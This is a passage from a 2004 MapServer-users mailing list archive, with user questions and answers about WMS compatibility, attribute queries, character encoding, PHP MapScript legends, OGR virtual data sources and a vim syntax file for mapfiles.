IG1hcE9wZXJhdG9yCU9wZXJhdG9yCgogIGRlbGNvbW1hbmQgSGlMaW5rCmVu ZGlmCgpsZXQgYjpjdXJyZW50X3N5bnRheCA9ICJtYXAiCgoiIHZpbTogdHM9 OAo= ------=_NextPart_000_115b_5804_7070-- From andrew at andrewhaigh.net Wed May 26 02:44:02 2004 From: andrew at andrewhaigh.net (andrew at andrewhaigh.net) Date: Wed, 26 May 2004 11:44:02 +0200 Subject: [Mapserver-users] =?iso-8859-1?Q?Re:_Re:_[Mapserver-users]_WMS_Queries?= Message-ID: <6282669$108556431740b4659d736313.40169227@config20.schlund.de> bartvde at xs4all.nl wrote on 26.05.2004, 10:02:32: > Hi, > > answers inline. First of all, most info can be found at the Wiki: > > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?WMSMapserverArcExplorer > > > > > Morning all, > > > > Yesterday I downloaded installed MapServer 4.0.2 (ms402_png_pg.zip) and > > I've tested it very successfully with the demo and created my own > > sample map file. I'm very impressed with the performance and > > functionality, so well done! > > > > However, I've now hit a bit of a problem, I'm attempting to connect to > > the WMS using ESRI ArcExplorer 4.01 (Build 630.773) with the > > Interoperability extension (version 1) but I keep getting the following > > error 'Invalid Capabilities File'. I think that the problem is that > > ESRI only support WMS Version 1.1.1 and MapServer 4.0.2 only supports > > WMS Versions upto 1.1.0. > > > > So my questions are: > > > > 1. Will or does MapServer 4.2 Beta support WMS version 1.1.1 and when > > will it be released? > > Mapserver 4.2 does support WMS 1.1.1. ESRI ArcExplorer does however work > with 1.1.0. > > > > > 2. Is it possible to use MapServer as a WMS client for a WMS that > > requires HTTPS? > > Good question. I don't think this will be possible out-of-the-box, but I > could be wrong. I only know of an option to supply a user/password to a > WMS server which is protected by Basic Authentication. See e.g.: > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=581 > > > > > 3. Is it possible to use MapServer as a WMS client to connect to a WMS > > that requires authentication? > > > > Yes, see answer to no. 2. > > Best regards, > Bart > > > > > > > Many thanks in advance, > > > > Andrew > > > > PS > > > > The Full Error message for ArcExplorer is: > > > > GetCapabilities Request : > > http://myhost/scripts/mapserv.exe?map=C:\MapServer\workshop\itasca.map&VERSION=1.1.1&WMTVER=1.1.1&SERVICE=WMS&REQUEST=capabilities > > GetCapabilities Request : > > http://myhost/scripts/mapserv.exe?map=C:\MapServer\workshop\itasca.map&VERSION=1.1.1&WMTVER=1.1.1&SERVICE=WMS&REQUEST=capabilities > > ###### Start to WMS getCapabilities in GetWMSService class version=null > > ************** realVersion is = none > > ************** Version is = null > > This version is not supported > > ******** Exception for WMS:null > > java.lang.NullPointerException ..... > > > > -- > > Andrew Haigh > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Bart, Many thanks for your quick response. I've just been looking on the MapServer website and it appears that version 4.2 has now been released (i'm assuming that the Windows Binaries will follow in a couple of days). So that should be a simple solution to the first problem. Authentication / HTTPS - I'll have a dig around and if I come up with any solutions I'll post the details. Many thanks, Andrew From alhim at intracom.gr Wed May 26 02:43:25 2004 From: alhim at intracom.gr (Alexandros Chimarios) Date: Wed, 26 May 2004 12:43:25 +0300 Subject: [Mapserver-users] Mapserver Hosting Wanted In-Reply-To: <40AA37A5.29642.1261CF@localhost> References: <40AA37A5.29642.1261CF@localhost> Message-ID: <200405261243.25811.alhim@intracom.gr> Dear Aaron, could you please specify your requirements of MapServer Hosting in detail ? For example will you need just a web server with the mapserv cgi or PHP MapScript and any spatial database ? On Wednesday 19 May 2004 00:19, Aaron Kreider wrote: > Are there any companies that offer cheap Mapserver hosting? > > I found GisHosting.net offering Mapserver hosting, but their website is > down and it looks like their effort may have never gotten off the ground. > Does anyone know what happenned to them? > > I just need a basic web hosting plan, that comes with Mapserver installed. > > Aaron > aaron at campusactivism.org > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eric at gomoos.org Wed May 26 04:03:46 2004 From: eric at gomoos.org (Eric Bridger) Date: Wed, 26 May 2004 07:03:46 -0400 Subject: [Mapserver-users] querybyattributes logical expression In-Reply-To: Message-ID: <4.3.2.7.2.20040526070155.00ab3ea0@mail.gomoos.org> At 11:11 PM 05/25/2004 -0700, AARON KONING wrote: >Hi List, > >Just wondering if anyone has had success using >querybyattributes with the '>', '<', '>=', '<=' operators? I have been using the 'NOT', 'AND', 'OR', >and '=' operators with success. > >The following statement fails: > > $queryString = "('[AREA]' > '10')" > $queryItem = 'AREA'; > $map->querybyattributes($queryitem,$queryString,MS_MULTIPLE); I haven't used querybyattributes() but have use comparison operators in CLASS EXPRESSION's. I would try: "([AREA] > 10)" i.e. these are number values not strings. From vogt at geoinform.fh-mainz.de Wed May 26 04:17:04 2004 From: vogt at geoinform.fh-mainz.de (Margaritha Vogt) Date: Wed, 26 May 2004 13:17:04 +0200 Subject: [Mapserver-users] PHP-Mapscript with mysql support Message-ID: <40B47CB0.7020001@geoinform.fh-mainz.de> I'm looking for a php-mapscript version with mysql-support (windows-version). Can anyone help me? Maggy -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * Dipl.-Ing.(FH) Margaritha Vogt * FH Mainz, FR Geoinformatik * Holzstrasse 36, D-55116 Mainz * Tel: +49-6131-2859-612, Fax: +49-6131-2859-615 * mailto:vogt at geoinform.fh-mainz.de * http://www.geoinform.fh-mainz.de From armin.burger at gmx.net Wed May 26 04:59:46 2004 From: armin.burger at gmx.net (Armin Burger) Date: Wed, 26 May 2004 13:59:46 +0200 (MEST) Subject: [Mapserver-users] Problems with ECW images, update References: <4072C9CC000791BD@it-mboxes.jrc.it> (added by postmaster@jrc.it) Message-ID: <31905.1085572786@www19.gmx.net> I tried now a new version of the 'gdal12.dll' that was delivered with the latest OpenEV software package (version 1.7.4) from Frank Warmerdam and that seemed to solve the problem. So both test ECW images don't cause any more problems. Armin > Hi > > I experienced sometimes problems with ECW images. It worked fine for a > Landsat image (25 m resolution) and scales smaller than e.g. 1:100000. When > zoominng in the ECW layer seems to cause errors. I checked with shp2img and > setting an extent similar to the higher scale that caused problems. Then > sh2img.exe crashed and I got the error > > ERROR 7: Assertion `iDstLine == 0' failed > in file `ecwdataset.cpp', line 346 > > The same happened with a high resolution image (0.8 m pixel) and scale > above 1:5000. > > I tried with the shp2img.exe from the DM Solution > 'mapserver-4.0.2-win32-php4.3.4.zip' that uses the 'gdal12.dll' > > Any ideas what could be the problem? > > Armin > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- NEU : GMX Internet.FreeDSL Ab sofort DSL-Tarif ohne Grundgeb?hr: http://www.gmx.net/dsl From edspremolla at Antel.com.uy Wed May 26 05:21:11 2004 From: edspremolla at Antel.com.uy (Eduardo Spremolla) Date: Wed, 26 May 2004 09:21:11 -0300 Subject: [Mapserver-users] French caracters in querybyattributes In-Reply-To: <200405260813.i4Q8DoFd013879@outmx003.isp.belgacom.be> References: <200405260813.i4Q8DoFd013879@outmx003.isp.belgacom.be> Message-ID: <1085574070.19317.4.camel@fly.in.iantel.com.uy> the ' is the string delimiter for sql, you shuld escape it like : "Braine l\'Alleud". Try it LALO El mi??, 26-05-2004 a las 05:13, gheysen.t at skynet.be escribi??: > Hello, > > I have hade some problems with french caracters. > First when I read the results of a query this caracters are not > correct. I have solve this problem by modify the fonts encoding to > ISO-8859-1. Thus, now, I can make a query and read the results > correctly. > But, I always have a problem with the caracter '. I make a query to > find the town "Braine l'Alleud" and I always have no records. I have > try with string comparaison et regular mapserver expression but it > always the same problem. > > Thanks, > Gheysen Thibaut -- Eduardo Spremolla Antel I+D From janeks.kamerovskis at silva.lv Wed May 26 06:14:10 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Wed, 26 May 2004 16:14:10 +0300 Subject: [Mapserver-users] French caracters in querybyattributes In-Reply-To: <200405260813.i4Q8DoFd013879@outmx003.isp.belgacom.be> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C4433C.7A673760 Content-Type: text/plain; charset="windows-1257" Content-Transfer-Encoding: 7bit I have similar problem with Latvian characters but it is connected with encoding. First I got not correct display of Latvian characters. That problem I solved by using so called Rim fonts, because the similar problem and solution was with ArcView 3.x. But when I tried to make queries, I found that apparently my current Windoze encoding does not fully compatible with older Rim fonts encoding. I have no problem with strings, that includes long letters, but when I used soft letters mapserver does not return any results. Is there any solution for this problem? Thanks Janeks -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of gheysen.t at skynet.be Sent: Wednesday, May 26, 2004 11:14 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] French caracters in querybyattributes Hello, I have hade some problems with french caracters. First when I read the results of a query this caracters are not correct. I have solve this problem by modify the fonts encoding to ISO-8859-1. Thus, now, I can make a query and read the results correctly. But, I always have a problem with the caracter '. I make a query to find the town "Braine l'Alleud" and I always have no records. I have try with string comparaison et regular mapserver expression but it always the same problem. Thanks, Gheysen Thibaut ------=_NextPart_000_0000_01C4433C.7A673760 Content-Type: text/html; charset="windows-1257" Content-Transfer-Encoding: quoted-printable
I have=20 similar problem with Latvian characters but it is connected with=20 encoding.
First=20 I got not correct display of Latvian characters. That problem I solved = by using=20 so called Rim fonts,
because the similar problem and solution was = with=20 ArcView 3.x.
 
But=20 when I tried to make queries, I found that apparently my current Windoze = encoding does not fully
compatible with older Rim fonts=20 encoding.
I have=20 no problem with strings, that includes long letters, but when I used = soft=20 letters mapserver does
not=20 return any results.
 
Is=20 there any solution for this problem?
 
Thanks
Janeks
-----Original Message-----
From:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of=20 gheysen.t at skynet.be
Sent: Wednesday, May 26, 2004 11:14=20 AM
To: mapserver-users at lists.gis.umn.edu
Subject:=20 [Mapserver-users] French caracters in=20 querybyattributes

Hello,
 
I have hade = some=20 problems with french caracters.
First when I read the results of a = query=20 this caracters are not correct. I have solve this problem by modify = the fonts=20 encoding to ISO-8859-1. Thus, now, I can make a query and read the = results=20 correctly.
But, I always have a problem with the caracter '. I = make a=20 query to find the town "Braine l'Alleud" and I always have no records. = I have=20 try with string comparaison et regular mapserver expression but it = always the=20 same problem.
 
Thanks,
Gheysen=20 Thibaut


------=_NextPart_000_0000_01C4433C.7A673760-- From Frank.Broniewski at mnha.etat.lu Wed May 26 06:24:30 2004 From: Frank.Broniewski at mnha.etat.lu (Frank Broniewski) Date: Wed, 26 May 2004 15:24:30 +0200 Subject: [Mapserver-users] Create a legend using PHPMapscript Message-ID: <000701c44324$c67e0dd0$aa696e94@EPCCARTOGIS> Dear List I'm still a beginner with MapServer, so I have trouble understanding the process of creating a legend using php-mapscript. Maybe a reader may send me on the right path. I've done so far this tutorial http://mapserver.gis.umn.edu/doc/phpmapscript-byexample-howto.html And the tutorials found here http://terrasip.gis.umn.edu/projects/tutorial/ Which provide quite some background But when it comes to creating the legend dynamically, I can't seem to find any helpful source. And I must admit, that I'm not capable of understanding the information provided here: http://mapserver.gis.umn.edu/doc/phpmapscript-class-guide.html#legend As far as I understand inherits the legend object from the mapobject. So I thought it might be a good idea to create the legend in the same manner as the scalebar, which I could figure out myself :-) To provide a little more information on my work, here is the code I used: $legend = $map->legend(); $legend_url = $legend->saveWebImage(); Am I missing vital parameters or something else? I'm currently displaying one shapefile only in my map. Thanks a lot in advance of your help and kind greetings from Luxembourg Frank Broniewski Mus?e National d'Histoire et d'Art Section Pr?histoire / Projet EPC T?l: +352 260 281-21 241, Rue de Luxembourg L-8077 Bertrange From janeks.kamerovskis at silva.lv Wed May 26 06:17:11 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Wed, 26 May 2004 16:17:11 +0300 Subject: [Mapserver-users] Arcview geodatabase format suuport In-Reply-To: Message-ID: The question was about ArcView 8.3 used Geodatabase format, that is MS Access *.mdb files. Janeks > -----Original Message----- > From: Rolando Riley [mailto:rriley at rolandoriley.com] > Sent: Tuesday, May 25, 2004 1:20 AM > To: Janeks Kamerovskis > Subject: RE: [Mapserver-users] Arcview geodatabase format suuport > > > It is my understanding that MapServer supports SHAPE files, which is the > format that ArcView (ESRI) use. > > > R. Riley > > > > > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Janeks > Kamerovskis > Sent: Lunes, 24 de Mayo de 2004 03:29 a.m. > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Arcview geodatabase format suuport > > > Does Mapserver supports Arcview geodatabase, or will it be? > > Janeks > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From Chip.Hankley at rmtinc.com Wed May 26 06:22:57 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Wed, 26 May 2004 08:22:57 -0500 Subject: [Mapserver-users] I have a question using mapserver. Message-ID: Did you change the EXTENT section of the mapfile to match your data? >>> "boli" 05/25/04 10:33PM >>> I have installed mapserver under IIS of win2000, and installed the tutorial. I can see the picture output in "Example 1.1: Map with a Single Layer". But I want to display another map, I copied all files for a map to directory "data" and editted the map file "example1-1.map", I could see nothing but a white blank in the place for the picture. What's wrong? _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From jcradock at redington.me3.com Wed May 26 06:56:27 2004 From: jcradock at redington.me3.com (james cradock) Date: Wed, 26 May 2004 09:56:27 -0400 (EDT) Subject: [Mapserver-users] Multiple LABELITEMs Message-ID: <37984.65.198.76.162.1085579787.squirrel@redington.me3.com> Hello, I am trying to generate a label from two attributes in the shapefile. Is there a way to concatenate two attributes into one LABELITEM in the map file? Thanks. Jim ----- james cradock jcradock at redington.me3.com From janeks.kamerovskis at silva.lv Wed May 26 07:43:03 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Wed, 26 May 2004 17:43:03 +0300 Subject: [Mapserver-users] Multiple LABELITEMs In-Reply-To: <37984.65.198.76.162.1085579787.squirrel@redington.me3.com> Message-ID: Try to use TEXT in CLASS TEXT ([atrib1] some text) brgds Janeks > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of james cradock > Sent: Wednesday, May 26, 2004 4:56 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Multiple LABELITEMs > > > Hello, > > I am trying to generate a label from two attributes in the shapefile. Is > there a way to concatenate two attributes into one LABELITEM in the map > file? > > Thanks. > > Jim > > ----- > james cradock > jcradock at redington.me3.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rich at greenwoodmap.com Wed May 26 01:56:59 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Wed, 26 May 2004 08:56:59 +0000 Subject: [Mapserver-users] Multiple LABELITEMs In-Reply-To: <37984.65.198.76.162.1085579787.squirrel@redington.me3.com> References: <37984.65.198.76.162.1085579787.squirrel@redington.me3.com> Message-ID: <40B45BDB.5030407@greenwoodmap.com> james cradock wrote: > Hello, > > I am trying to generate a label from two attributes in the shapefile. Is > there a way to concatenate two attributes into one LABELITEM in the map > file? > > Thanks. > > Jim > Yes, try something like this: TEXT ([Street_num] [Direction]) -- Richard Greenwood www.greenwoodmap.com From jdenisgiguere at fastmail.fm Wed May 26 08:02:29 2004 From: jdenisgiguere at fastmail.fm (Jean-Denis Giguere) Date: Wed, 26 May 2004 11:02:29 -0400 Subject: [Mapserver-users] complex line symbol Message-ID: <40B4B185.4080402@fastmail.fm> Hi, I'm working on a wms project and I have to respect a strict symbology. Everything works great except one line symbol. I have to create a pattern representing a line cut at every 20 pixels by a circle (------- * ---). In the old implementation of this WMS, this was done by SLD with but this marker is not supported in MS. VECTOR symbol doesn't seem to allow creation of dash-similar symbol and use of STYLE doesn't seem to allow use of different shapes. Any suggestion will be very appreciate. Thanks in advance, Jean-Denis From Chip.Hankley at rmtinc.com Wed May 26 08:04:33 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Wed, 26 May 2004 10:04:33 -0500 Subject: [Mapserver-users] Arcview geodatabase format suuport Message-ID: > Does Mapserver supports Arcview geodatabase, or will it be? > Not now. My hunch is that it probably won't anytime soon. The geodatabase format is, of course, relatively new. ESRI would have to publish some type of specification that would allow someone to build an interface that would read the data. I don't know if ESRI has released such a specifcation. Furthermore, there's probably not a real big incentive for anyone (on the MapServer side) to do this right now. There are a number of spatial RDBMS formats that MS does read (Oracle Spatial, SDE, and PostGIS)... these offer most users a LOT more flexibility b/c they aren't tied to MS Access. Chip Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From jenu_ab at hotmail.com Wed May 26 08:41:42 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Wed, 26 May 2004 10:41:42 -0500 Subject: [Mapserver-users] virtual spatial data Message-ID: hi, I'm using windows 2003 server with mapserver-4.1-dev-win32-php4.3.4 binaries (This is precompiled with GDAL) i have loaded the gdal12.dll in the winnt/system folder and the testing2.ovf file works perfect with ogrinfo I have tried to run it in the inline connection mode and the file connection mode... when i run mapserver i get this error listed below- I cant figure out whats wrong- the error with the inline connection string- (inside mapfile- commented out in the source below) -------------------------------------- msDrawMap(): Image handling error. Failed to draw layer named 'trucks'. msOGRFileOpen(): OGR error. Open failed for OGR connection ` ODBC:sa/@localserver latlong wkbPoint WGS84 '. File not found or unsupported format. --------------------------------------- ------------------------------------------ The error with the connection in the testing.ovf file -------------------------------------- msDrawMap(): Image handling error. Failed to draw layer named 'trucks'. msOGRFileOpen(): OGR error. Open failed for OGR connection `C:\cgi-bin\testing2.ovf'. File not found or unsupported format. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ testing2.ovf $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ODBC:sa/@localserver latlong wkbPoint WGS84 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ mapfile @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ MAP NAME e-test-rd-jbox_ IMAGETYPE GIF EXTENT -2236857.50 -1744057.00 2786329.50 29069.36 SIZE 800 600 SHAPEPATH "C:\cgi-bin\data\" FONTSET "C:\cgi-bin\fonts\fonts.list" WEB TEMPLATE 'e-test-rd-jbox.html' IMAGEPATH 'C:\cgi-bin\tmp\' IMAGEURL '/tmp/' END PROJECTION "init=epsg:2163" END LAYER # States polygon layer begins here NAME states DATA statesp020 STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASS COLOR 240 240 100 END END # States polygon layer ends here LAYER # start of truck position from database NAME trucks TYPE POINT CONNECTIONTYPE OGR CONNECTION "C:\cgi-bin\testing2.ovf" # file connection #CONNECTION ' # inline connection # # ODBC:sa/@localserver # latlong # wkbPoint # WGS84 # # # ' DATA "mylayer" STATUS DEFAULT #LABELITEM latlong.name PROJECTION "init=epsg:4326" END CLASS SYMBOL 1 SIZE 6 COLOR 255 0 0 #LABEL # SIZE MEDIUM # TYPE BITMAP # COLOR 0 0 0 #END END END # end of connection layer # End of LAYER DEFINITIONS END # end of map file @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Jenu _________________________________________________________________ Watch LIVE baseball games on your computer with MLB.TV, included with MSN Premium! http://join.msn.click-url.com/go/onm00200439ave/direct/01/ From TMitchell at lignum.com Wed May 26 08:45:01 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 26 May 2004 08:45:01 -0700 Subject: [Mapserver-users] vim syntax file In-Reply-To: Message-ID: Andreas, Beautiful, thanks for sharing. Works with vim for windows fine. Tyler mapserver-users-admin at lists.gis.umn.edu wrote on 05/26/2004 02:36:12 AM: > Hello List, > > I have written a syntax file for vi/vim. It was my first go at vim syntax > files and only represents a first draft. I am sure there is still plenty of > room for improvements. The keywords are based on the TextPad Symbol > Map_40.syn file contributed by Christopher Thorne, which can be found on the > Mapserver utility page. > > To register this file in vim copy map.vim (also listed at the bottom of the > mail) to the vim syntax directory (on Suse: /usr/share/vim/current/syntax) > and add two lines to filetype.vim (on Suse Linux: /usr/share/vim/current) > according to the example shown below: > > > " Manpage > au BufNewFile,BufRead *.man setf man > ############ADD############# > " Map > au BufNewFile,BufRead *.map setf map > ############ADD############# > " Maple V > au BufNewFile,BufRead *.mv,*.mpl,*.mws setf maple > > I hope the file is somehow usefull to anybody out there. If there are any > questions or suggestions, please feel free to contact me. > > Cheer > Andreas > > ----------------------------------------- > > Dr. Andreas Hirner > > German Remote Sensing Data Center (DFD) > German Aerospace Center (DLR) > > P.O.Box 11 16 Tel: +49-8153-28-3389 > D-82234 Wessling Fax: +49-8153-28-1445 > Germany > > E-mail: andreas.hirner at dlr.de > > ----------------------------------------- > > > ########################## > map.vim > ########################## > " Vim syntax file > " Language: map (umn mapserver config file) > " Maintainer: Andreas Hirner > " Last Change: $Date: 2004/05/25 19:19:37 $ > " Filenames: *.map > " URL: ftp://xxx at xxx.xx/map.vim > " Note: The definitions below are taken from TextPad syntax > definitions > (*.syn) by Chris Thorne (thorne at dmsolutions.ca) as of May 2004, for version > 4.0 Mapserver > > " For version 5.x: Clear all syntax items > " For version 6.x: Quit when a syntax file was already loaded > if version < 600 > syntax clear > elseif exists("b:current_syntax") > finish > endif > > " Always ignore case > syn case ignore > > " General keywords first order > syn keyword mapDefine CLASS END JOIN LABEL LAYER LEGEND MAP METADATA > OUTPUTFORMAT > syn keyword mapDefine PROJECTION QUERYMAP REFERENCE SCALEBAR > STYLE SYMBOL > WEB > > " General keywords second order > syn keyword mapIdentifier ALPHACOLOR ANGLE ANTIALIAS > syn keyword mapIdentifier BACKGROUNDCOLOR BACKGROUNDSHADOWCOLOR > BACKGROUNDSHADOWSIZE BUFFER > syn keyword mapIdentifier CHARACTER CLASSITEM COLOR CONNECTION > CONNECTIONTYPE > syn keyword mapIdentifier DATA DATAPATTERN DEBUG DRIVER DUMP > syn keyword mapIdentifier EMPTY ERROR EXPRESSION EXTENSION EXTENT > syn keyword mapIdentifier FEATURE FILLED FILTER FILTERITEM FONT FONTSET > FOOTER FORCE FORMATOPTION FROM > syn keyword mapIdentifier GAP GRATICULE GRID GROUP HEADER > syn keyword mapIdentifier IMAGE IMAGECOLOR IMAGEMODE IMAGEPATH IMAGEQUALITY > IMAGETYPE IMAGEURL INDEX INTERLACE INTERVALS > syn keyword mapIdentifier KEYIMAGE KEYSIZE KEYSPACING > syn keyword mapIdentifier LABELANGLEITEM LABELCACHE LABELFORMAT LABELITEM > LABELMAXSCALE LABELMINSCALE LABELREQUIRES LABELSIZEITEM LATLON LINECAP > LINEJOIN LINEJOINMAXSIZE LOG > syn keyword mapIdentifier MARKER MARKERSIZE MAXARCS MAXBOXSIZE MAXFEATURES > MAXINTERVAL MAXSCALE MAXSIZE MAXSUBDIVIDE MAXTEMPLATE MIMETYPE > syn keyword mapIdentifier MINARCS MINBOXSIZE MINDISTANCE MINFEATURESIZE > MININTERVAL MINSCALE MINSIZE MINSUBDIVIDE MINTEMPLATE > syn keyword mapIdentifier NAME > syn keyword mapIdentifier OFFSET OFFSITE OUTLINECOLOR > OVERLAYBACKGROUNDCOLOR > OVERLAYCOLOR OVERLAYMAXSIZE OVERLAYMINSIZE OVERLAYOUTLINECOLOR OVERLAYSIZE > OVERLAYSYMBOL > syn keyword mapIdentifier PARTIALS POINTS POSITION POSTLABELCACHE PROCESSING > syn keyword mapIdentifier REQUIRES RESOLUTION > syn keyword mapIdentifier SCALE SHADOWCOLOR SHADOWSIZE SHAPEPATH SIZE > SIZEUNITS STATUS STYLEITEM SYMBOLSCALE SYMBOLSET > syn keyword mapIdentifier TABLE TEMPLATE TEMPLATEPATTERN TEXT TILEINDEX > TILEITEM TITLE TO TOLERANCE TOLERANCEUNITS TRANSFORM TRANSPARENCY > TRANSPAREN[T] TYPE > syn keyword mapIdentifier UNITS WMS_ABSTRACT WMS_ACCESSCONSTRAINTS > WMS_ONLINERESOURCE WMS_SRS WMS_TITLE WRAP > > " General keywords third order > syn keyword mapKeyword ANNOTATION AUTO BEVEL BITMAP BUTT > syn keyword mapKeyword CARTOLINE CC CIRCLE CL CR CSV DD DEFAULT > syn keyword mapKeyword ELLIPSE EMBED FALSE FEET GIANT HILITE INCHES > syn keyword mapKeyword KILOMETERS LARGE LC LINE LL LR > syn keyword mapKeyword MEDIUM METERS MILES MITER MULTIPLE MYGIS NORMAL > syn keyword mapKeyword OFF OGR ON ONE-TO-MANY ONE-TO-ONE ORACLESPATIAL > syn keyword mapKeyword PIXELS PIXMAP POINT POLYGON POSTGIS QUERY RASTER > ROUND > syn keyword mapKeyword SDE SELECTED SIMPLE SINGLE SMALL SQUARE > syn keyword mapKeyword TINY TRIANGLE TRUE TRUETYPE UC UL UR > VECTOR WFS WMS > > " keywords for other purposes > syn keyword mapTypedef SELECTION > > " Comment > syn match mapComment "#.*" > > " Strings (single- and double-quote) > syn region mapString start=+"+ skip=+\\\\\|\\"+ end=+"+ > syn region mapString start=+'+ skip=+\\\\\|\\'+ end=+'+ > > " Numbers and hexidecimal values > syn match mapNumber "-\=\<[0-9]*\>" > syn match mapNumber "\<0x[abcdefABCDEF0-9]*\>" > > " Operators > syn match mapOperator "EQ" > syn match mapOperator "[><|\=&!$/\\()\[\]]" > > > " Define the default highlighting. > " For version 5.7 and earlier: only when not done already > " For version 5.8 and later: only when an item doesn't have highlighting yet > if version >= 508 || !exists("did_map_syn_inits") > if version < 508 > let did_map_syn_inits = 1 > command -nargs=+ HiLink hi link > else > command -nargs=+ HiLink hi def link > endif > > HiLink mapComment Comment > HiLink mapKeyword Keyword > HiLink mapIdentifier Identifier > HiLink mapDefine Define > HiLink mapTypedef Typedef > HiLink mapNumber Number > HiLink mapString String > HiLink mapOperator Operator > > delcommand HiLink > endif > > let b:current_syntax = "map" > > " vim: ts=8 > > _________________________________________________________________ > Tired of spam? Get advanced junk mail protection with MSN 8. > http://join.msn.com/?page=features/junkmail > [attachment "map.vim" deleted by Tyler Mitchell/Lignum] From TMitchell at lignum.com Wed May 26 08:54:18 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Wed, 26 May 2004 08:54:18 -0700 Subject: [Mapserver-users] Fw: [Gdal-dev] FW: Arcview geodatabase format suuport Message-ID: FYI ----- Forwarded by Tyler Mitchell/Lignum on 05/26/2004 08:53 AM ----- Frank Warmerdam Sent by: gdal-dev-admin at remotesensing.org 05/26/2004 08:40 AM Please respond to gdal-dev at remotesensing.org To gdal-dev at remotesensing.org cc Fax to Subject Re: [Gdal-dev] FW: Arcview geodatabase format suuport Tyler Mitchell wrote: > Anyone looked at the geodatabase format with OGR support in mind? Tyler, I have briefly examined it. Apparently the geometry data is in the same format as the geometry fragments in shapefiles. I don't think it would be too hard to implement limited read support in OGR. Perhaps one weeks work or so. A good job in perhaps two. Still, that is alot to do without any specific funding for the effort. From ARyan at co.linn.or.us Wed May 26 08:56:44 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Wed, 26 May 2004 08:56:44 -0700 Subject: [Mapserver-users] Arcview geodatabase format suuport Message-ID: <614FCE5F14A6D41180C200010240D6A266978F@LINNMS> > Does Mapserver supports Arcview geodatabase, or will it be? > ESRI has put out Geodatabase XML. http://www.esri.com/software/arcgis/geodatabase/about/xml.html This is not likely a format you'd want to read from for display purposes, but it may allow for more conversion possibilities. Adam From dmorissette at dmsolutions.ca Wed May 26 09:06:42 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 26 May 2004 12:06:42 -0400 Subject: [Mapserver-users] NQUERY on version 3.6 vs 4.01 differences? In-Reply-To: <40B4349E.9030107@maich.gr> References: <40B4349E.9030107@maich.gr> Message-ID: <40B4C092.9080209@dmsolutions.ca> Nicolas Boretos wrote: > Hello, > > I've a mapfile in which the nquery works correctly using 3.6 based ms, > returning results from the 3 active layers > but not correctly on 4.01 ms e.g., only return query from a single layer. > > Has anything changed, or should I start looking at my compilations etc.... > > I've found this bug reference... > > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=569 > > but my template is in the class..... > For sure your problem is not related to this bug since your template is set inside the class. I'm not sure what else would have changed in 4.0 with respect to nquery. Perhaps Steve or someone else will have a better idea... or you could try against version 4.2 and if the problem persists then file a bug in bugzilla with a complete testcase to reproduce. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From dmorissette at dmsolutions.ca Wed May 26 09:19:11 2004 From: 